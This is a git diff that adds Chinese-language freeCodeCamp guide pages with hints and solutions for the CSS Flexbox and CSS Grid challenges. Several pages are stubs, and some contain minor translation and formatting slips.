new file mode 100644
index 0000000000..c688230f61
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Align Elements Using the align-items Property
+localeTitle: 使用align-items属性对齐元素
+---
+## 使用align-items属性对齐元素
+
+虽然鼓励尝试`align-items`的不同选项，但设置值是`center`是传递此挑战的唯一方法。
+
+在玩不同的选项时，您会发现`strech`是属性的默认值。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md
new file mode 100644
index 0000000000..0262356c05
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md
@@ -0,0 +1,13 @@
+---
+title: Align Elements Using the justify-content Property
+localeTitle: 使用justify-content属性对齐元素
+---
+## 使用justify-content属性对齐元素
+
+正如挑战所述，要通过它，您需要将`justify-content`设置为中心。然而，挑战的关键在于体验并了解不同选项如何影响内容。
+
+`center` ：确保您的子元素在父容器中居中。  
+`flex-start` ：将所有内容推向左侧。  
+`flex-end` ：将一切推向正确的方向。  
+`space-between` ：将第一个和最后一个元素分别向左和向右推，并在它们之间添加偶数空格。如果您有奇数个元素，它会将它们添加到中心并根据顺序继续左右推动。  
+`space-around` ：类似于space-between，但是元素周围会有相等的间距，所以第一个和最后一个不会直接在边缘上。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..44e8434b23
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md
@@ -0,0 +1,16 @@
+---
+title: Apply the flex-direction Property to Create a Column in the Tweet Embed
+localeTitle: 应用flex-direction属性在Tweet Embed中创建一个列
+---
+## 应用flex-direction属性在Tweet Embed中创建一个列
+
+通过将属性显式添加到css，将flex方向从其默认行更改为将使得句柄显示在名称旁边。
+
+```css
+header .profile-name { 
+    display: flex; 
+    flex-direction: column; 
+    margin-left: 10px; 
+  } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..e1e80a6f82
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md
@@ -0,0 +1,7 @@
+---
+title: Apply the flex-direction Property to Create Rows in the Tweet Embed
+localeTitle: 应用flex-direction属性在Tweet Embed中创建行
+---
+## 应用flex-direction属性在Tweet Embed中创建行
+
+此挑战的目的是确保_页眉_和_页脚_的子元素排成一行。而默认的flex方向是一行。最好尽可能明确地说明你的造型。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/index.md
new file mode 100644
index 0000000000..401ef8c1a9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/index.md
@@ -0,0 +1,25 @@
+---
+title: CSS Flexbox
+localeTitle: CSS Flexbox
+---
+## CSS Flexbox
+
+这些挑战将教您使用Flex容器的基础知识。挑战是：
+
+1.  [使用display：flex定位两个Box](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md) 。
+2.  [添加Flex Superpowers到Tweet Embed](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md) 。
+3.  [使用flex-direction属性创建一行](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md) 。
+4.  [应用flex-direction属性在Tweet Embed中创建行](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md) 。
+5.  [使用flex-direction属性创建列](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md) 。
+6.  [应用flex-direction属性在Tweet Embed中创建一个列](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md) 。
+7.  [使用justify-content属性对齐元素](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md) 。
+8.  [在Tweet Embed中使用justify-content属性](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md) 。
+9.  [使用align-items属性对齐元素](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md) 。
+10.  [使用Tweet Embed中的align-items属性](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md) 。
+11.  [使用flex-wrap属性包装行或列](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md) 。
+12.  [使用flex-shrink属性收缩项目](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md) 。
+13.  [使用flex-grow属性扩展项目](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md) 。
+14.  [使用flex-basis属性设置项的初始大小](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md) 。
+15.  [使用flex速记属性](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md) 。
+16.  [使用order属性重新排列项目](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md) 。
+17.  [使用align-self属性](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-align-self-property/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md
new file mode 100644
index 0000000000..c5165be8bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md
@@ -0,0 +1,18 @@
+---
+title: "Use display: flex to Position Two Boxes"
+localeTitle: “使用显示器
+---
+## 使用display：flex定位两个Box
+
+[Flexbox](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout/flexbox/index.md)是一种在CSS3中构建内容的方法，允许您创建响应式网站。
+
+这个挑战是在使用Flexbox时设置第一步。您需要通过添加_display：flex;_使父容器成为flex容器_。_到它的CSS部分。
+
+例：
+
+```CSS
+#main-container { 
+    display: flex; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..ae1a759b29
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the align-items Property in the Tweet Embed
+localeTitle: 使用Tweet Embed中的align-items属性
+---
+## 使用Tweet Embed中的align-items属性
+
+与上[一个挑战](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md)类似，您需要将属性值设置为右侧选择器的`center` 。
+
+请注意，它可能看起来没有任何改变，但再一次，你的风格在早期就越明确，当你的CSS变得更复杂时你会看到的副作用越少。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md
new file mode 100644
index 0000000000..b39148ba44
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the align-self Property
+localeTitle: 使用align-self属性
+---
+## 使用align-self属性
+
+这种挑战的主要原因应该是`float` ， `clear`和`vertical-align`不适用于柔性物品。这就是为什么我们有flex属性`align-self` ，它接受与`align-items`相同的值，并且优先于后者设置的任何值。
+
+这意味着`align-self: center;`在`align-items: center;`不会。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md
new file mode 100644
index 0000000000..2f83b53148
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md
@@ -0,0 +1,22 @@
+---
+title: Use the flex-basis Property to Set the Initial Size of an Item
+localeTitle: 使用flex-basis属性设置项的初始大小
+---
+## 使用flex-basis属性设置项的初始大小
+
+使用`flax-basis`可以达到与前两个挑战相同的效果。 设置适当的值后，在应用任何收缩或增长之前，您将看到`#box-2`大于`#box-1` 。
+
+```css
+#box-1 { 
+  background-color: dodgerblue; 
+  height: 200px; 
+  flex-basis: 10em; 
+ } 
+ 
+ #box-2 { 
+  background-color: orangered; 
+  height: 200px; 
+  flex-basis: 20em; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md
new file mode 100644
index 0000000000..f194de93b7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md
@@ -0,0 +1,15 @@
+---
+title: Use the flex-direction Property to Make a Column
+localeTitle: 使用flex-direction属性创建列
+---
+## 使用flex-direction属性创建列
+
+要将Flex容器的子元素堆叠在一起，您可以通过以下方式更改_flex方向_ ：
+
+```CSS
+#main-container { 
+    display: flex; 
+    flex-direction: column; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md
new file mode 100644
index 0000000000..67526943d2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md
@@ -0,0 +1,17 @@
+---
+title: Use the flex-direction Property to Make a Row
+localeTitle: 使用flex-direction属性创建一行
+---
+## 使用flex-direction属性创建一行
+
+一旦你有一个flex容器，通过添加_display：flex;_在父容器中，您可以通过添加以下内容指定是否要将子项堆叠在一行中：
+
+```css
+#box-container { 
+    display: flex; /* This makes the flex container */ 
+    height: 500px; 
+    flex-direction: row-reverse; /* This makes the direction be a row with reversed elements */ 
+  } 
+```
+
+您会注意到颜色如何切换位置，因为Flex容器的默认方向是行，您可能已经从[tweet示例中](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md)注意到了这一点。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md
new file mode 100644
index 0000000000..6815e01f09
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md
@@ -0,0 +1,7 @@
+---
+title: Use the flex-grow Property to Expand Items
+localeTitle: 使用flex-grow属性扩展项目
+---
+## 使用flex-grow属性扩展项目
+
+`flex-grow`与`flex-shrink`工作方式类似，数字越大，生长越多。 在这个练习中， `#box-2`框应该更宽。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md
new file mode 100644
index 0000000000..0393bd31c1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md
@@ -0,0 +1,18 @@
+---
+title: Use the flex Shorthand Property
+localeTitle: 使用flex速记属性
+---
+## 使用flex速记属性
+
+您可以单独设置`flex-grow` ， `flex-shrink`和`flex-basis`属性。如果您需要查看所有这些值的值，可以使用以下格式在一行中执行`flex: flex-grow flex-shrink flex-basis;` 。
+
+例：
+
+```css
+#box-1 { 
+    background-color: dodgerblue; 
+    flex: 2 2 150px; 
+    height: 200px; 
+  } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md
new file mode 100644
index 0000000000..bbbee4837e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md
@@ -0,0 +1,7 @@
+---
+title: Use the flex-shrink Property to Shrink Items
+localeTitle: 使用flex-shrink属性收缩项目
+---
+## 使用flex-shrink属性收缩项目
+
+使用`flex-shrink` ，数字越大，收缩越多。对于这个挑战，在你给出正确的值后，你应该看到`#box-1`比`#box-2`宽。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md
new file mode 100644
index 0000000000..78deb24c51
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the flex-wrap Property to Wrap a Row or Column
+localeTitle: 使用flex-wrap属性包装行或列
+---
+## 使用flex-wrap属性包装行或列
+
+将`flex-wrap`属性设置为`wrap`会使列返回到指定的宽度，而gree和black列将被包装到帧的开头。
+
+请注意，将其设置为`wrap-reverse`不会使`#box-container`的灰色空白空间保持在底部，同时更改列顺序。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..5d47257975
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md
@@ -0,0 +1,14 @@
+---
+title: Use the justify-content Property in the Tweet Embed
+localeTitle: 在Tweet Embed中使用justify-content属性
+---
+## 在Tweet Embed中使用justify-content属性
+
+来自先前挑战的`justify-content`的不同值是：
+
+*   `flex-start`将项目对齐到Flex容器的开头。
+*   `flex-end`将项目对齐到Flex容器的末尾。
+*   `space-between`将项目与主轴的中心对齐，在项目之间放置额外的空间。
+*   `space-around`类似`space-between` ，但空间周围所有的项目分布。
+
+阅读[更多关于`justify-content`](https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md
new file mode 100644
index 0000000000..c2ab5c2e74
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md
@@ -0,0 +1,19 @@
+---
+title: Use the order Property to Rearrange Items
+localeTitle: 使用order属性重新排列项目
+---
+## 使用order属性重新排列项目
+
+在进行任何更改之前，请注意颜色的顺序。左边是蓝色，右边是红色。设置`order`属性后，您将能够选择应首先显示哪一个，而无需更改html代码。
+
+\`\`\`CSS
+
+# box-1 {
+```
+background-color: dodgerblue; 
+ order: 2; 
+ height: 200px; 
+ width: 200px; 
+```
+
+} \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md
new file mode 100644
index 0000000000..11435e52ac
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md
@@ -0,0 +1,26 @@
+---
+title: Add Columns with grid-template-columns
+localeTitle: 使用grid-template-columns添加列
+---
+## 使用grid-template-columns添加列
+
+在此挑战中，您需要为网格定义列。
+
+### 暗示
+
+您可以通过在CSS代码块中声明以下内容来定义列：
+
+```css
+grid-template-columns: parameters; 
+```
+
+参数是你想要的任何东西。
+
+### 解
+
+由于挑战要求您创建三列，每列100px，请在.container CSS代码块中声明以下内容：
+
+```css
+grid-template-columns: 100px 100px 100px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md
new file mode 100644
index 0000000000..0b1de6a562
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Gaps Faster with grid-gap
+localeTitle: 通过网格间隙更快地添加间隙
+---
+## 通过网格间隙更快地添加间隙
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md
new file mode 100644
index 0000000000..6d76e486d8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md
@@ -0,0 +1,20 @@
+---
+title: Add Rows with grid-template-rows
+localeTitle: 使用grid-template-rows添加行
+---
+## 使用grid-template-rows添加行
+
+在此挑战中，您需要在`<div class="container">`为CSS网格定义行。
+
+### 暗示
+
+您可以使用`grid-template-rows` CSS属性定义行。
+
+### 解
+
+由于挑战要求您创建两行，每行`50px` ，请在`.container` CSS代码块中声明以下内容：
+
+```css
+grid-template-rows: 50px 50px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md
new file mode 100644
index 0000000000..5f8b72869b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md
@@ -0,0 +1,9 @@
+---
+title: Align All Items Horizontally using justify-items
+localeTitle: 使用对齐项目水平对齐所有项目
+---
+## 使用对齐项目水平对齐所有项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md
new file mode 100644
index 0000000000..fa2b684754
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md
@@ -0,0 +1,9 @@
+---
+title: Align All Items Vertically using align-items
+localeTitle: 使用align-items垂直对齐所有项目
+---
+## 使用align-items垂直对齐所有项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md
new file mode 100644
index 0000000000..1b95d24dbf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md
@@ -0,0 +1,9 @@
+---
+title: Align an Item Horizontally using justify-self
+localeTitle: 使用justify-self水平对齐项目
+---
+## 使用justify-self水平对齐项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md
new file mode 100644
index 0000000000..e1920b462e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md
@@ -0,0 +1,9 @@
+---
+title: Align an Item Vertically using align-self
+localeTitle: 使用align-self垂直对齐项目
+---
+## 使用align-self垂直对齐项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md
new file mode 100644
index 0000000000..eac19814a2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md
@@ -0,0 +1,26 @@
+---
+title: Create a Column Gap Using grid-column-gap
+localeTitle: 使用grid-column-gap创建列间隙
+---
+## 使用grid-column-gap创建列间隙
+
+这个挑战要求您在.container中的CSS Grid的所有列之间添加20px的间隙。
+
+### 暗示
+
+要添加网格列之间的间隙，我们使用：
+
+```css
+grid-column-gap: parameter; 
+```
+
+其中参数是所需的间隙。
+
+### 解
+
+由于挑战是你添加了20px的差距，你可以将以下行添加到.container CSS代码块。
+
+```css
+grid-column-gap: 20px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md
new file mode 100644
index 0000000000..3a6fac80dc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md
@@ -0,0 +1,20 @@
+---
+title: Create a Row Gap using grid-row-gap
+localeTitle: 使用grid-row-gap创建行间隙
+---
+## 使用grid-row-gap创建行间隙
+
+这个挑战要求您在.container中的CSS Grid的所有行之间添加`20px`的间隙。
+
+### 暗示
+
+要在CSS网格中的行之间添加间隙，我们使用`grid-row-gap` CSS属性。
+
+### 解
+
+由于挑战是你添加`5px`的差距，你可以将以下行添加到`.container` CSS代码块。
+
+```css
+grid-row-gap: 5px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md
new file mode 100644
index 0000000000..300c386803
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md
@@ -0,0 +1,27 @@
+---
+title: Create Flexible Layouts Using auto-fill
+localeTitle: 使用自动填充创建灵活布局
+---
+## 使用自动填充创建灵活布局
+
+此挑战将通过向_重复_功能添加**自动填充**值来阐述先前的挑战。这将导致div的数量根据视口的大小而不是先前指定的列值进行扩展。在下面的**Before**部分中，指定了**grid-template-column**值“3”。
+
+_请记住，以下代码段仅是示例，而不是freeCodeCamp课程的确切挑战。_
+
+### 之前
+
+```css
+    grid-template-columns: repeat(3, minmax(50px, 2fr)); 
+```
+
+### 后
+
+```css
+    grid-template-columns: repeat(auto-fill, minmax(50px, 2fr)); 
+```
+
+* * *
+
+### 资源
+
+您可以参考下一页的**语法**部分来查看**自动填充**值： [Mozilla开发者网络](https://developer.mozilla.org/en-US/docs/Web/CSS/repeat)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md
new file mode 100644
index 0000000000..98d741f2a5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Flexible Layouts Using auto-fit
+localeTitle: 使用自动调整创建灵活布局
+---
+## 使用自动调整创建灵活布局
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md
new file mode 100644
index 0000000000..2d741cdef6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md
@@ -0,0 +1,31 @@
+---
+title: Create Grids within Grids
+localeTitle: 在网格中创建网格
+---
+## 在网格中创建网格
+
+网格内的网格与任何其他网格相同。
+
+1.  把一个元素嵌入另一个元素中，
+2.  将它们_都_设置为网格，
+3.  和_POOF_ ！你有一个网格内的网格。
+
+### 嵌套元素
+
+对于任何复习，嵌套元素如下所示： \`
+
+这是你的网格
+
+这是你的嵌套网格
+
+\`
+
+### 将元素设置为网格
+
+之后，调整以下CSS属性： \`.gridElement { / \*这给你一个网格\* / 显示：网格; }
+
+.nestedGridElement { / \*这给你一个NESTED网格\* / 显示：网格; }\`
+
+### 附加信息
+
+之后，您可以随意自定义您的网格。 即`grid-template-columns: auto 1fr;`可能在嵌套网格中看起来不错。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md
new file mode 100644
index 0000000000..fbd713c566
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md
@@ -0,0 +1,30 @@
+---
+title: Create Your First CSS Grid
+localeTitle: 创建您的第一个CSS网格
+---
+## 创建您的第一个CSS网格
+
+### 提示1
+
+要更改任何元素的显示，请使用以下语法：
+
+```css
+display: propertyName; 
+```
+
+### 提示2
+
+更改.container元素的display属性
+
+### 提示3
+
+将.container元素的显示设置为grid
+
+### 解
+
+要将.container元素的显示设置为grid：
+
+```css
+display: grid; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md
new file mode 100644
index 0000000000..80eba2b9e4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md
@@ -0,0 +1,9 @@
+---
+title: Divide the Grid Into an Area Template
+localeTitle: 将网格划分为区域模板
+---
+## 将网格划分为区域模板
+
